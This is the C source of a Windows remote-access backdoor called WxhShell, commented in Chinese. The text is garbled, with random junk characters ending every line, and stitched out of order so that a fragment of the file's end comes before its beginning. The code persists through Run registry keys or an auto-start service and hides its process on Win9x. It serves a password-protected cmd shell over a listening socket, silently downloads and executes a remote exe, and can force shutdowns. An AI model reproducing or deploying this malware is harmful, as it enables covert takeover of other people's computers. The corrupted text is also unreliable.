    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2W^B{ZS;  
    else { HDmx@E.@  
    closesocket(wsh); M18qa,fK{  
    ExitThread(0); c,y|c`T 2  
    } %MJL5  
    break; bLgL0}=n  
    } YijMF/Uyb  
  // 获取shell S&4+ e:K  
  case 's': { /!3ZWXY\  
    CmdShell(wsh); D|d4:;7  
    closesocket(wsh); 7\A4vUI3  
    ExitThread(0); e~{^oM  
    break; FR x6c  
  } E *F*nd]K  
  // 退出 9>by~4An?  
  case 'x': { A4G,}r *n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I-b_h5ZD6  
    CloseIt(wsh); d2rL 8jW  
    break; \q~w<%9Dq  
    } 0"EoC  
  // 离开 "S5S|dBc  
  case 'q': { XTJvV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vSOT*0r  
    closesocket(wsh); ugYw <  
    WSACleanup(); /+V Iw`E  
    exit(1); CjZZm^O  
    break; R?cUy8?'S  
        } _!n}P5  
  } QR<`pmB~y  
  } 43zUN  
o=pt_!i/  
  // 提示信息 CqqXVF3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <i{K7}':  
} .xO _E1Ku;  
  } !;%y$$gxh  
/XcDYMKgh  
  return; dY}pN"  
} |6E .M1  
%*lp< D  
// shell模块句柄 AZ[75>  
int CmdShell(SOCKET sock) 6*IpAIh  
{ ~eP  
STARTUPINFO si; Nl@k*^  
ZeroMemory(&si,sizeof(si)); W wuZ(>|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lf. 1>s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CSL#s^4T  
PROCESS_INFORMATION ProcessInfo; gv#4#]  
char cmdline[]="cmd"; Ia2(Km  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5[C~wvO  
  return 0; n`q2s'Pc  
} @mf({Q>  
g\U/&.}DN  
// 自身启动模式 wtXY: O  
int StartFromService(void) %Rp8{.t7  
{ UVz/n68\k7  
typedef struct 845 W>B  
{ ?i~g,P]NK  
  DWORD ExitStatus; YNSyi@  
  DWORD PebBaseAddress; mO P4z'  
  DWORD AffinityMask; kbxg_UI;  
  DWORD BasePriority; lWWP03er!  
  ULONG UniqueProcessId; V8hO8  
  ULONG InheritedFromUniqueProcessId; >3 l=*|9  
}   PROCESS_BASIC_INFORMATION; %aU4,j^],o  
xjo;kx\y^  
PROCNTQSIP NtQueryInformationProcess; |uI?ySF  
=m7H)z)i*J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _%y4q%#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k[\a)WcY8  
;QBh;jg4  
  HANDLE             hProcess; j!\dn!Xwt  
  PROCESS_BASIC_INFORMATION pbi; %-+j  
c%z'xM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %r%So_^  
  if(NULL == hInst ) return 0; i|]7(z#OyI  
DP 9LO_{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dC.bt|#Oz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a(;!O}3_)(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {uU 2)5i2-  
$ rUSKm#  
  if (!NtQueryInformationProcess) return 0; w(U:U-MNe  
ESTM$k }X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %@?A_jS  
  if(!hProcess) return 0; TVaA>]Fv  
{$d<1y^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y6-XHeU  
k$N0lR4:p  
  CloseHandle(hProcess); 48O~Jx,  
/c`^iPb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1l5J P|x  
if(hProcess==NULL) return 0; T%$jWndI  
ba3*]01Yb  
HMODULE hMod; LY 0]l$  
char procName[255]; Y9Z]i$qS&k  
unsigned long cbNeeded; tIc 7:th  
PT'MNH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >oGiIYq  
O^Q ,-=tA\  
  CloseHandle(hProcess); c6&Q^p|CF  
0 Y>M=|  
if(strstr(procName,"services")) return 1; // 以服务启动 -fy9<  
B4h5[fPX  
  return 0; // 注册表启动 ^{F_ a  
} aI3CNeav  
_{4^|{>Pv  
// 主模块 fBhoGA{=g  
int StartWxhshell(LPSTR lpCmdLine) !m;H@KR{  
{ ml6u1+v5  
  SOCKET wsl; Ag9?C*  
BOOL val=TRUE; OGOND,/R?/  
  int port=0; Dnw|%6Y  
  struct sockaddr_in door; Fh8lmOL;?  
) 1 m">s4  
  if(wscfg.ws_autoins) Install(); (W[V? !1  
DF_X  
port=atoi(lpCmdLine); lk3=4|?zsE  
!4(zp;WY^  
if(port<=0) port=wscfg.ws_port; o]ePP,  
]fBUT6  
  WSADATA data; :Y P#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d\]Yk]r  
;Hmp f0$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L\%orLEmK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0.Ta Xbi  
  door.sin_family = AF_INET; @WMA}\Cc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e}hmS1>H  
  door.sin_port = htons(port); nXy>7H[0  
Ts.wh>`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A1 "SLFY  
closesocket(wsl); x79Ha,  
return 1; l +*&:Q/  
} cxIk<&i~(  
a5Y IUVCv  
  if(listen(wsl,2) == INVALID_SOCKET) { -' g*^  
closesocket(wsl); a u7.4ln>Y  
return 1; v&a4^s  
} z^<L(/rg9"  
  Wxhshell(wsl); bN$r k|  
  WSACleanup(); \$sjrqKnu  
A9BX_9}]  
return 0; Wp)*Mbq@  
Lfog {Vzs  
} #]P9b@@e  
nUS| sh  
// 以NT服务方式启动 !3X0FNGq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \xv;sl$f  
{ Fqy\CMC  
DWORD   status = 0; t.p~\6Yi  
  DWORD   specificError = 0xfffffff; 5 Xn.CBd]  
iOAbaPN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sEMQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p]T<HGJ P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +N`ua  
  serviceStatus.dwWin32ExitCode     = 0; 9h&R]yz;  
  serviceStatus.dwServiceSpecificExitCode = 0; aJ Z"D8C  
  serviceStatus.dwCheckPoint       = 0; Gg Jf7ie4  
  serviceStatus.dwWaitHint       = 0; +M' H0-[  
_{<seA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /!h;c$  
  if (hServiceStatusHandle==0) return; oVFnl A  
;oZ)Wt  
status = GetLastError(); R;,g1m|]  
  if (status!=NO_ERROR) >/[GTqi  
{ ApBWuXp|u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F8-?dpf'  
    serviceStatus.dwCheckPoint       = 0; -Eu6U`"(  
    serviceStatus.dwWaitHint       = 0; ~5FW [_  
    serviceStatus.dwWin32ExitCode     = status; 4}+/F}TbJ5  
    serviceStatus.dwServiceSpecificExitCode = specificError; Od f[*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7xRl9  
    return; &xRo^iV?  
  } Q></`QWpoB  
L:XC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X+UJzR90  
  serviceStatus.dwCheckPoint       = 0; *na?n2Yzt  
  serviceStatus.dwWaitHint       = 0; A,sr[Pa@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '5&s=M_  
} .<@8gNm3  
#@<9S{F  
// 处理NT服务事件,比如:启动、停止 [8tL"G6s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vz.>~HBP  
{ Po%LE]v,  
switch(fdwControl) [sB 9gY(  
{ F*"}aP$  
case SERVICE_CONTROL_STOP: Cj~'Lhmv'T  
  serviceStatus.dwWin32ExitCode = 0; }=c85f~i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AbZKYF P  
  serviceStatus.dwCheckPoint   = 0; /|* Y2ETOr  
  serviceStatus.dwWaitHint     = 0; .L'.c/ s  
  { yw];P o,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }zhGS!fO  
  } wgCa58H76  
  return; Z#rB}  
case SERVICE_CONTROL_PAUSE: J8mdoVt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SkmT`*v@  
  break; :POj6j/  
case SERVICE_CONTROL_CONTINUE: `BlI@6th  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x)(|[  
  break; ep)>X@t  
case SERVICE_CONTROL_INTERROGATE: bv&;R  
  break; t+9][Adf  
}; v`M3eh@$A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ")d`dj\o  
} d_IAs  
&mb{.=  
// 标准应用程序主函数 Y "/]|'p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ 4kc/a  
{ #B4%|v;`E?  
T}8Y6N<\m  
// 获取操作系统版本 6i1LjLB  
OsIsNt=GetOsVer(); #Y$hNQQ$F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?Y@N`S  
dq]0X?[6  
  // 从命令行安装 rzt Ru  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZIQ [bE7  
Ytl4kaYS  
  // 下载执行文件 EOCN&_Z;  
if(wscfg.ws_downexe) { 6oGYnu;UZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Uu`9 "  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mnscb  
} zG(\+4GE!  
2nR[Xh?L  
if(!OsIsNt) { :Of^xj>A  
// 如果时win9x,隐藏进程并且设置为注册表启动 YJ\Xj56gv  
HideProc(); /Njd[= B  
StartWxhshell(lpCmdLine); g*_cP U0~m  
} VIv&ofyAR  
else <ZNzVnVA  
  if(StartFromService()) RS8Hf~0G  
  // 以服务方式启动 \SB c;  
  StartServiceCtrlDispatcher(DispatchTable); b:TLV`>/&  
else !qWH`[:  
  // 普通方式启动 h2XfC. f  
  StartWxhshell(lpCmdLine); 7eAX*Kgt<_  
ev*k*0  
return 0; Ru>MFG  
} oM>Z;QVRC:  
G|!on<l&  
?.Ca|H<  
s+<Yg$)  
=========================================== i%0ur}p  
:51/29}  
V6@o]*  
eS~LF.^Jw  
-w"VK|SGm  
5fd]v<  
" ~5}* d  
De'_SD|=  
#include <stdio.h> L6|oyf  
#include <string.h> ppVHLrUh  
#include <windows.h> ]SLP}Jwy  
#include <winsock2.h> w|K'M?N14  
#include <winsvc.h> 4bYK}o S  
#include <urlmon.h> 8ap%?  
7_inJ$  
#pragma comment (lib, "Ws2_32.lib") v@ lM3_rbO  
#pragma comment (lib, "urlmon.lib") *^VRGfpb  
YwjKAyLU  
#define MAX_USER   100 // 最大客户端连接数 J^Wa8Q;9lX  
#define BUF_SOCK   200 // sock buffer [J?aD`{#O  
#define KEY_BUFF   255 // 输入 buffer F^];U+J  
<+?7H\b  
#define REBOOT     0   // 重启 mc? Vq  
#define SHUTDOWN   1   // 关机 dtRwTUMe?  
woGAf)vV#  
#define DEF_PORT   5000 // 监听端口 0"28'  
9 a!$z!.  
#define REG_LEN     16   // 注册表键长度 x"~8*V'0  
#define SVC_LEN     80   // NT服务名长度 qKr8)}h  
~d|A!S`  
// 从dll定义API m8d!< h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bf~vA4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i#vYyVr[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e#$]Y?,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j i7[nY  
Lr~=^{  
// wxhshell配置信息 (ROY?5 @c  
struct WSCFG { $QN"w L||  
  int ws_port;         // 监听端口 wsI`fO^A8  
  char ws_passstr[REG_LEN]; // 口令 K;?m';z0  
  int ws_autoins;       // 安装标记, 1=yes 0=no L.*M&Ry  
  char ws_regname[REG_LEN]; // 注册表键名 /<|%yE&KhJ  
  char ws_svcname[REG_LEN]; // 服务名 U`,6 * MS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K8GP@yD]M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nxnv,AZG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W{6|tx)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y 5- F@(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $5aV:Z3P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z[L8$7L  
!Prg_6 `  
}; v$?+MNks  
| *2w5iR  
// default Wxhshell configuration "n(hfz0y%  
struct WSCFG wscfg={DEF_PORT, >UiYL}'br6  
    "xuhuanlingzhe", ^ *k?pJ5  
    1, jFL #s&ft  
    "Wxhshell", P}n_IV*@  
    "Wxhshell", a|t$l=|DD  
            "WxhShell Service", '"0'Oua  
    "Wrsky Windows CmdShell Service", 1 ySk;;3  
    "Please Input Your Password: ", 'YmIKIw  
  1, g?goZPZB  
  "http://www.wrsky.com/wxhshell.exe", cQy2"vtU  
  "Wxhshell.exe" zPn+ V7F  
    }; S9]'?|  
~ =M7 3U#  
// 消息定义模块 v_+{'F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C~,a!qY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M?Y;a5{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [1g8*j~L  
char *msg_ws_ext="\n\rExit."; {6|38$Rl  
char *msg_ws_end="\n\rQuit."; U)fc*s  
char *msg_ws_boot="\n\rReboot..."; mqD}BOif  
char *msg_ws_poff="\n\rShutdown..."; yVU^M?`#  
char *msg_ws_down="\n\rSave to "; ]!?;@$wx  
e^6)Zz1\  
char *msg_ws_err="\n\rErr!"; <wN}X#M  
char *msg_ws_ok="\n\rOK!"; Y,<{vLEC  
:~"CuB/  
char ExeFile[MAX_PATH]; g:g\>@Umo  
int nUser = 0;  VA6}  
HANDLE handles[MAX_USER]; at#ja_ hd  
int OsIsNt; ?~BC#B\>o  
BKCA <  
SERVICE_STATUS       serviceStatus; I0D(F i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  eI$oLl@  
L iN$ pwm  
// 函数声明 2V mNZ{<  
int Install(void); LO9=xGj.  
int Uninstall(void); cLpYW7vZ[  
int DownloadFile(char *sURL, SOCKET wsh); Z]>O+  
int Boot(int flag); |mxDjgq  
void HideProc(void); !JHL\M>A5  
int GetOsVer(void); XKj|f`  
int Wxhshell(SOCKET wsl); ]#)()6)2v  
void TalkWithClient(void *cs); ?PuBa`zDE  
int CmdShell(SOCKET sock); ! `   
int StartFromService(void); ] {RDVA=]  
int StartWxhshell(LPSTR lpCmdLine); ;w{tv($$  
!"?#6-,Xn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :3v}kLO7|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s Ep"D+f  
R1adWBD>  
// 数据结构和表定义 + [iQLM?zo  
SERVICE_TABLE_ENTRY DispatchTable[] = 132{# tG]  
{ }|0^EWL  
{wscfg.ws_svcname, NTServiceMain}, 2J7:\pR^  
{NULL, NULL} d[@X%  
}; {j.bC@hWw  
Ec3}_`  
// 自我安装 |7'df&CA  
int Install(void) *v;2PP[^  
{ -u6bAQ  
  char svExeFile[MAX_PATH]; \ :%(q/v"X  
  HKEY key; T,,WoPU8t  
  strcpy(svExeFile,ExeFile); yr)G]K[/  
%P;lv*v.  
// 如果是win9x系统,修改注册表设为自启动 7Haa;2 T'  
if(!OsIsNt) { F&4rO\aC"/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L*Tj^q!t+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 27eooY1  
  RegCloseKey(key); Jj; L3S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { py$Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`.<U{5  
  RegCloseKey(key); pNG:0  
  return 0; >{q]&}^U  
    } C)um9}  
  } faE t6  
} Go5J%&E9  
else { TH%Qhv\]  
0IsPIi"7  
// 如果是NT以上系统,安装为系统服务 .?8;qA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wcrCEX=I>{  
if (schSCManager!=0) F|S Xn\  
{ dPW#C5dm  
  SC_HANDLE schService = CreateService m ifxiV  
  ( 3+)J @(a  
  schSCManager, ? ^0:3$La  
  wscfg.ws_svcname, Z)I+@2  
  wscfg.ws_svcdisp, 29;?I3< *  
  SERVICE_ALL_ACCESS, G?L HmTHg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q$0*b]=E  
  SERVICE_AUTO_START, Mo|;'+  
  SERVICE_ERROR_NORMAL, k0OYJ/  
  svExeFile, Y+kfBvxyf  
  NULL, -$pzl,^ h  
  NULL, aB_F9;IR  
  NULL, EuZ<quwWg  
  NULL, ?h$NAL?  
  NULL b)6D_Az7c  
  ); &Qf/>@ l}  
  if (schService!=0) A=$04<nP8!  
  { W>${zVu  
  CloseServiceHandle(schService); %^?fMeI|Y  
  CloseServiceHandle(schSCManager); Y@;CF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &C `Gg<  
  strcat(svExeFile,wscfg.ws_svcname); AFq~QXmr)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M1k{t%M+S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kr?TxhUHd  
  RegCloseKey(key); 5#HW2"7  
  return 0; iowTLq!?  
    } Gj1&tjK  
  } 0\X\izQ5  
  CloseServiceHandle(schSCManager); d6Ht2  
} "|x^|n8i  
} %v=*Wb\3|  
=ElO?9&  
return 1; Y4J3-wK5  
} h=W:^@G  
%:M ^4~dc  
// 自我卸载 ${<%" hR$  
int Uninstall(void) W =D4r  
{ 6|gCuT4  
  HKEY key; W\>fh&!)  
Cz9xZA{[M  
if(!OsIsNt) { ,kyJAju>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $jjfC  
  RegDeleteValue(key,wscfg.ws_regname); p\Q5,eg  
  RegCloseKey(key); W/=.@JjI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G4Q[Th  
  RegDeleteValue(key,wscfg.ws_regname); &agWaf1%a  
  RegCloseKey(key); ` )/vq-9  
  return 0; pd:WEI ,  
  } ts ,ZvY]  
} K%,2=.  
} 4.k0<  
else { ?k+xSV  
[u =+3b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X1DF*wI  
if (schSCManager!=0) &xU[E!2H%  
{ ZJnYIK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `"Jj1O@  
  if (schService!=0) S-a]j;U  
  { `68@+|#  
  if(DeleteService(schService)!=0) { .u)X3..J  
  CloseServiceHandle(schService); iJ ($YvF4  
  CloseServiceHandle(schSCManager); Y[ j6u\y  
  return 0; 6O7'!@@  
  } wx]0p  
  CloseServiceHandle(schService); oTEL?hw5  
  } uFX#`^r`  
  CloseServiceHandle(schSCManager); yks__ylrl(  
} q}b dxa  
} ?U%qPv:  
>1.X*gi?-  
return 1; dph{74Dc  
} '3R`lv   
$By< $  
// 从指定url下载文件 8^kGS-+^  
int DownloadFile(char *sURL, SOCKET wsh) M-$%Rzl_  
{ lXx=But  
  HRESULT hr; ^6jV_QM#  
char seps[]= "/"; ^4y,W]JUDt  
char *token; 6, ^>mNm  
char *file; kVuUjP6(c  
char myURL[MAX_PATH]; fJ=0HNmX  
char myFILE[MAX_PATH]; sSr&:BOsi  
$| zX|  
strcpy(myURL,sURL); d8DV[{^  
  token=strtok(myURL,seps); f- K+]aZ)  
  while(token!=NULL) @#l `iK  
  { w_aknt T  
    file=token;  03L]  
  token=strtok(NULL,seps); %p Ynnfr  
  } SUMrFd~  
o5u3Fjz3  
GetCurrentDirectory(MAX_PATH,myFILE); ,dv+p&Tz2  
strcat(myFILE, "\\"); -{KQr1{5UM  
strcat(myFILE, file); CLxynZ \;  
  send(wsh,myFILE,strlen(myFILE),0); df*#!D7oz  
send(wsh,"...",3,0); EZgq ?l~5O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cF\;_0u  
  if(hr==S_OK) 5u,{6  
return 0; 1;JEc9# h  
else l94b^W}1)W  
return 1; 1ufp qqk  
J9..P&c\  
} loEPr5 bL  
kPKB|kP\  
// 系统电源模块 ! :Y:pu0  
int Boot(int flag) *Hg>[@dP0  
{ 7dN*lks  
  HANDLE hToken; q?H|o(  
  TOKEN_PRIVILEGES tkp; Ve8=b0&Y#j  
&r[`>B{tP  
  if(OsIsNt) { <S5BDk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UgRhWV~f0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .zr-:L5{  
    tkp.PrivilegeCount = 1; $6qh| >z.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gLb`pCo/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2ElJbN#  
if(flag==REBOOT) { ~b(i&DVK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @tF\p  
  return 0; \|n- O=}=2  
} gGR"Z]DBk  
else { R$EW4]j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2d>z1%'  
  return 0; H(H<z,$}T  
} Oylf<&knF\  
  } M#ZcY  
  else { #9=Vg  
if(flag==REBOOT) { '%>=ZhO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W4 t;{b  
  return 0; 2_)\a(.Qu  
} {WJm  
else { W=ig.-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C2.HMgL  
  return 0; M+-*QyCFK  
} SDL7<ZaE  
} yyR0]NzYUD  
uY0lR:|  
return 1; T!uM+6|Y  
} Lk|hQ  
!zBhbmlKt  
// win9x进程隐藏模块 \h+AXs<j  
void HideProc(void) *$#W]bO  
{ <g-9T-Ky  
.Q<>-3\K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "x%Htq@  
  if ( hKernel != NULL ) nz%DM<0$  
  { %J#YM'g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G3C~x.(f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "RedK '7g  
    FreeLibrary(hKernel); /9 3M*b  
  } ;:iY)}  
c7?_46 J  
return; -Mi p,EO  
} P=qa::A  
>3ZFzh&OYQ  
// 获取操作系统版本 f}6s Q5  
int GetOsVer(void) o5d%w-'  
{ tE.FrZS  
  OSVERSIONINFO winfo; G `+T+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A4Rug\p]  
  GetVersionEx(&winfo); #HYr0Tw6`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2{D{sa  
  return 1; 9X[kEl  
  else u\a#{G;Z  
  return 0; r+'qd)  
} w!#tTyk`  
(XVw"m/ye  
// 客户端句柄模块 M\vwI"  
int Wxhshell(SOCKET wsl) Cmu@4j&  
{ iky|Tp  
  SOCKET wsh; w?3p';C  
  struct sockaddr_in client; uOKCAqYa  
  DWORD myID; zy?.u.4L  
N%kt3vmQ_  
  while(nUser<MAX_USER) zofa-7'Bn  
{ toLV4BtIG  
  int nSize=sizeof(client); #||}R[~P"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :1^LsLr5  
  if(wsh==INVALID_SOCKET) return 1; Fiv3 {.  
,Z aRy$?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {SOr#{1z*  
if(handles[nUser]==0) X1,I  
  closesocket(wsh); GC<l#3+  
else XND|h#i8  
  nUser++; PvzcEV  
  } 9Q.rMs>qj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S O4u9V  
ks&*O!h  
  return 0; Ki4r<>\l{H  
} -^K"ZP1  
V08?-Iz$  
// 关闭 socket ]99|KQ<s  
void CloseIt(SOCKET wsh) )}g(b=  
{ *RDn0d[  
closesocket(wsh); 2SD`OABf#  
nUser--; Ut*`:]la  
ExitThread(0); tankR9(o  
} [O$Wa:< 0x  
VdPtPq1  
// 客户端请求句柄 w+C7BPV&  
void TalkWithClient(void *cs) t\?ik6  
{ mGtdO/C#B  
FFl!\y*0z  
  SOCKET wsh=(SOCKET)cs; cIUHa  
  char pwd[SVC_LEN]; \}+_Fo/  
  char cmd[KEY_BUFF]; R}'bP  
char chr[1];  R(!s  
int i,j; UXeN8  
;"KJ7p  
  while (nUser < MAX_USER) { mkMq  
yu;+o3WlK  
if(wscfg.ws_passstr) { t!*?dr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2X.r%&!1M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oin$-i|Xp!  
  //ZeroMemory(pwd,KEY_BUFF); <x@}01 ~  
      i=0; g~Z vA(`  
  while(i<SVC_LEN) { 56}U8X  
NYyh|X:m  
  // 设置超时 gRrL[z  
  fd_set FdRead; |^0XYBxQ  
  struct timeval TimeOut; H]P. x!I  
  FD_ZERO(&FdRead); J cPtwa;q@  
  FD_SET(wsh,&FdRead); pSoiH<33  
  TimeOut.tv_sec=8; +GG9^:<yr  
  TimeOut.tv_usec=0; ;>#wU'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); < nXL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ht7l- AK  
00'%EYO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :X0k]p  
  pwd=chr[0]; R_(tjkT  
  if(chr[0]==0xd || chr[0]==0xa) { hwu]Er.gn  
  pwd=0; 2K< 8  
  break; }d&_q7L@@6  
  } V E#Wb7  
  i++; c(J!~7  
    } 1cxrH+N  
lAi6sPG)0  
  // 如果是非法用户,关闭 socket c$ao:nP)D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Y,x|F  
} U(a#@K !H  
.+qQYDE w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fa?~0H/DL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  RwKdxK+;  
Mc=$/ o  
while(1) { OJ,`  
uPhK3nCGo  
  ZeroMemory(cmd,KEY_BUFF); t,,k  
6tXq:  
      // 自动支持客户端 telnet标准   Ci?Ss+|  
  j=0; t|a2;aq_  
  while(j<KEY_BUFF) { 8u"!dq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e7@ojOQ%  
  cmd[j]=chr[0]; 0vFD3}~>  
  if(chr[0]==0xa || chr[0]==0xd) { FQm`~rA~zt  
  cmd[j]=0; >go,K{cK6  
  break; 7"aN#;&  
  } 4\y/'`xm)6  
  j++; 2w59^"<,  
    } mlixIW2  
?a8^1:  
  // 下载文件 <d,b'<z s  
  if(strstr(cmd,"http://")) { 2#P* ,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l%[EXZ  
  if(DownloadFile(cmd,wsh)) T29Dt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YX=a#%vrl  
  else kv3E4,<9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yGWxpzmRS  
  } "*m_> IU  
  else { uZM{BgXXD  
4NGA/ G  
    switch(cmd[0]) { L_vISy%\b  
  Z8zmHc"IH  
  // 帮助 ]or>?{4g  
